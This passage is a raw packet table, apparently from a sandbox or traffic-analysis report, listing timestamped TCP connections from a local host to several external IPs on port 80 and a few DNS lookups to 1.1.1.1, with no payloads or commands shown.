Dec 5, 2022 15:19:42.754992008 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:42.755034924 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:42.755075932 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:42.755187035 CET	49937	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:42.755264997 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:42.755268097 CET	49937	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:42.755332947 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:42.755381107 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:42.755441904 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:42.755528927 CET	49937	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:42.755675077 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:42.755702972 CET	49937	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:42.755728960 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:42.755868912 CET	49937	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:42.756042957 CET	49937	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:43.006731987 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:43.006808043 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:43.006880045 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:43.006936073 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:43.006995916 CET	49937	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:43.007101059 CET	49937	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:43.007416964 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:43.007488012 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:43.007559061 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:43.007622004 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:43.007810116 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:43.258399963 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:43.258564949 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:43.258647919 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:43.258974075 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:43.259140968 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:43.259263039 CET	80	49937	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:43.259447098 CET	49937	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:43.514518976 CET	49937	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:44.529994011 CET	49938	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:44.780774117 CET	80	49938	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:44.781021118 CET	49938	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:44.781097889 CET	49938	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:45.031831026 CET	80	49938	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:45.032748938 CET	80	49938	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:45.032840967 CET	80	49938	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:45.033238888 CET	49938	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:45.033366919 CET	49938	80	192.168.11.20	103.63.2.175
Dec 5, 2022 15:19:45.284166098 CET	80	49938	103.63.2.175	192.168.11.20
Dec 5, 2022 15:19:58.121313095 CET	49941	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:19:58.279850960 CET	80	49941	66.29.151.40	192.168.11.20
Dec 5, 2022 15:19:58.280196905 CET	49941	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:19:58.280198097 CET	49941	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:19:58.438740969 CET	80	49941	66.29.151.40	192.168.11.20
Dec 5, 2022 15:19:58.593535900 CET	80	49941	66.29.151.40	192.168.11.20
Dec 5, 2022 15:19:58.593600988 CET	80	49941	66.29.151.40	192.168.11.20
Dec 5, 2022 15:19:58.593888044 CET	49941	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:19:59.292311907 CET	49941	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:00.307881117 CET	49942	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:00.466824055 CET	80	49942	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:00.467030048 CET	49942	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:00.467168093 CET	49942	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:00.625452995 CET	80	49942	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:00.757002115 CET	80	49942	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:00.757066011 CET	80	49942	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:00.757312059 CET	49942	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:01.479355097 CET	49942	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.501218081 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.660001993 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.660206079 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.660803080 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.660890102 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.819478989 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.819595098 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.819607973 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.819624901 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.819653034 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.819669008 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.819825888 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.819916010 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.820058107 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.820067883 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.820159912 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.820228100 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.820400000 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.980613947 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.980688095 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.980732918 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.980773926 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.980813980 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.980968952 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.980968952 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.980969906 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.980969906 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.981061935 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.983948946 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.984020948 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.984066963 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.984110117 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:02.984169006 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:02.984348059 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:03.141504049 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:03.141578913 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:03.141588926 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:03.141670942 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:03.141720057 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:03.142720938 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:03.142828941 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:03.142954111 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:03.300084114 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:03.300142050 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:03.666274071 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:03.866717100 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:04.069257975 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:04.069278955 CET	80	49943	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:04.069431067 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:04.069431067 CET	49943	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:04.682184935 CET	49944	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:04.840936899 CET	80	49944	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:04.841260910 CET	49944	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:04.841336966 CET	49944	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:04.999974966 CET	80	49944	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:05.151922941 CET	80	49944	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:05.151988029 CET	80	49944	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:05.152326107 CET	49944	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:05.152427912 CET	49944	80	192.168.11.20	66.29.151.40
Dec 5, 2022 15:20:05.311131954 CET	80	49944	66.29.151.40	192.168.11.20
Dec 5, 2022 15:20:10.205341101 CET	49945	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:10.215312958 CET	80	49945	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:10.215539932 CET	49945	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:10.215637922 CET	49945	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:10.226342916 CET	80	49945	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:10.226439953 CET	80	49945	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:10.226564884 CET	49945	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:11.227233887 CET	49945	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:12.243098021 CET	49946	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:12.253732920 CET	80	49946	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:12.253895998 CET	49946	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:12.254041910 CET	49946	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:12.265235901 CET	80	49946	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:12.265299082 CET	80	49946	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:12.265532970 CET	49946	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:13.257894993 CET	49946	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:14.273732901 CET	49947	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:14.284462929 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.284773111 CET	49947	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:14.285463095 CET	49947	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:14.285583019 CET	49947	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:14.296030045 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.296113014 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.296163082 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.296243906 CET	49947	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:14.296331882 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.296435118 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.296521902 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.296587944 CET	49947	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:14.296915054 CET	49947	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:14.297044039 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.297236919 CET	49947	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:14.297419071 CET	49947	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:14.307080030 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.307410002 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.307419062 CET	49947	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:14.307478905 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.307590961 CET	49947	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:14.307713032 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.307756901 CET	49947	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:14.307885885 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.307889938 CET	49947	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:14.307944059 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.308242083 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.308449030 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.308501959 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.318016052 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.318248987 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.318505049 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.318803072 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.319030046 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.319230080 CET	80	49947	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:14.319503069 CET	49947	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:15.288872004 CET	49947	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:16.304260015 CET	49948	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:16.314491034 CET	80	49948	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:16.314997911 CET	49948	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:16.315078974 CET	49948	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:16.366508961 CET	80	49948	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:16.404421091 CET	80	49948	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:16.404499054 CET	80	49948	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:16.404746056 CET	49948	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:16.404889107 CET	49948	80	192.168.11.20	64.190.63.111
Dec 5, 2022 15:20:16.415548086 CET	80	49948	64.190.63.111	192.168.11.20
Dec 5, 2022 15:20:21.414201975 CET	49949	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:21.577157021 CET	80	49949	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:21.577574968 CET	49949	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:21.577692986 CET	49949	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:21.740192890 CET	80	49949	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:21.753614902 CET	80	49949	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:21.753712893 CET	80	49949	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:21.754033089 CET	49949	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:22.583950043 CET	49949	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:23.599826097 CET	49952	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:23.763241053 CET	80	49952	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:23.763654947 CET	49952	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:23.763655901 CET	49952	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:23.926275969 CET	80	49952	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:23.936568975 CET	80	49952	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:23.936646938 CET	80	49952	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:23.936907053 CET	49952	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:24.771131992 CET	49952	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:25.786673069 CET	49953	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:25.949284077 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:25.949615002 CET	49953	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:25.950241089 CET	49953	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:25.950293064 CET	49953	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:26.112165928 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.112234116 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.112276077 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.112358093 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.112386942 CET	49953	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:26.112596035 CET	49953	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:26.112605095 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.112663031 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.112673044 CET	49953	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:26.112704039 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.113080978 CET	49953	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:26.113193035 CET	49953	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:26.274885893 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.274956942 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.275003910 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.275048971 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.275093079 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.275142908 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.275150061 CET	49953	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:26.275190115 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.275235891 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.275278091 CET	49953	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:26.275283098 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.275329113 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.275347948 CET	49953	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:26.275516033 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.275566101 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.275610924 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.275655031 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.436764956 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.436841011 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.436892033 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.436938047 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.436984062 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.440078974 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.440161943 CET	80	49953	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:26.440469027 CET	49953	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:26.958101988 CET	49953	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:27.973860979 CET	49954	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:28.135519981 CET	80	49954	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:28.135780096 CET	49954	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:28.135880947 CET	49954	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:28.297027111 CET	80	49954	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:28.306195974 CET	80	49954	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:28.306240082 CET	80	49954	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:28.306621075 CET	49954	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:28.306767941 CET	49954	80	192.168.11.20	192.232.217.125
Dec 5, 2022 15:20:28.467597008 CET	80	49954	192.232.217.125	192.168.11.20
Dec 5, 2022 15:20:33.542499065 CET	49955	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:33.685142994 CET	80	49955	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:33.685473919 CET	49955	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:33.685576916 CET	49955	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:33.828341961 CET	80	49955	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:35.706182003 CET	49956	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:35.847160101 CET	80	49956	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:35.847556114 CET	49956	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:35.847645044 CET	49956	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:35.988897085 CET	80	49956	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:37.877783060 CET	49957	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:38.020560980 CET	80	49957	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:38.020787001 CET	49957	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:38.021390915 CET	49957	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:38.021472931 CET	49957	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:38.164155960 CET	80	49957	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.049026012 CET	49958	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:40.190726042 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.191165924 CET	49958	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:40.202542067 CET	49958	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:40.344389915 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.494645119 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.494745970 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.494820118 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.494901896 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.494935989 CET	49958	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:40.495027065 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.495110035 CET	49958	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:40.495148897 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.495249033 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.495322943 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.495343924 CET	49958	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:40.495429993 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.495502949 CET	49958	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:40.495521069 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.495702028 CET	49958	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:40.617141008 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.637461901 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.637550116 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.637614965 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.637681961 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.637686014 CET	49958	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:40.637789011 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.637794018 CET	49958	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:40.637885094 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.637952089 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.637974977 CET	49958	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:40.638138056 CET	49958	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:40.779581070 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.779619932 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.779649019 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.779675961 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.779700994 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:40.779866934 CET	49958	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:40.779985905 CET	49958	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:40.780179024 CET	49958	80	192.168.11.20	208.91.197.39
Dec 5, 2022 15:20:40.921659946 CET	80	49958	208.91.197.39	192.168.11.20
Dec 5, 2022 15:20:51.139271021 CET	49959	80	192.168.11.20	103.91.8.90
Dec 5, 2022 15:20:52.140000105 CET	49959	80	192.168.11.20	103.91.8.90
Dec 5, 2022 15:20:54.139442921 CET	49959	80	192.168.11.20	103.91.8.90
Dec 5, 2022 15:20:58.154323101 CET	49959	80	192.168.11.20	103.91.8.90
Dec 5, 2022 15:21:06.168157101 CET	49959	80	192.168.11.20	103.91.8.90
Dec 5, 2022 15:21:13.198317051 CET	49959	80	192.168.11.20	103.91.8.90
Dec 5, 2022 15:21:14.197669029 CET	49959	80	192.168.11.20	103.91.8.90
Dec 5, 2022 15:21:16.212898970 CET	49959	80	192.168.11.20	103.91.8.90
Dec 5, 2022 15:21:20.227333069 CET	49959	80	192.168.11.20	103.91.8.90

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 5, 2022 15:13:33.597953081 CET	52890	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:13:33.607448101 CET	53	52890	1.1.1.1	192.168.11.20
Dec 5, 2022 15:13:34.650381088 CET	57149	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:13:34.689038038 CET	53	57149	1.1.1.1	192.168.11.20
Dec 5, 2022 15:14:44.956943035 CET	64991	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:14:45.268805027 CET	53	64991	1.1.1.1	192.168.11.20
Dec 5, 2022 15:15:00.577362061 CET	63234	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:15:00.693088055 CET	53	63234	1.1.1.1	192.168.11.20
Dec 5, 2022 15:15:12.543545008 CET	61754	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:15:12.993014097 CET	53	61754	1.1.1.1	192.168.11.20
Dec 5, 2022 15:15:25.509613991 CET	50660	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:15:25.834120035 CET	53	50660	1.1.1.1	192.168.11.20
Dec 5, 2022 15:15:47.692354918 CET	65465	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:15:47.859869957 CET	53	65465	1.1.1.1	192.168.11.20
Dec 5, 2022 15:15:59.774122953 CET	63004	53	192.168.11.20	1.1.1.1
Dec 5, 2022 15:15:59.856864929 CET	53	63004	1.1.1.1	192.168.11.20
Dec 5, 2022 15:16:11.125571012 CET	63328	53	192.168.11.20	1.1.1.1
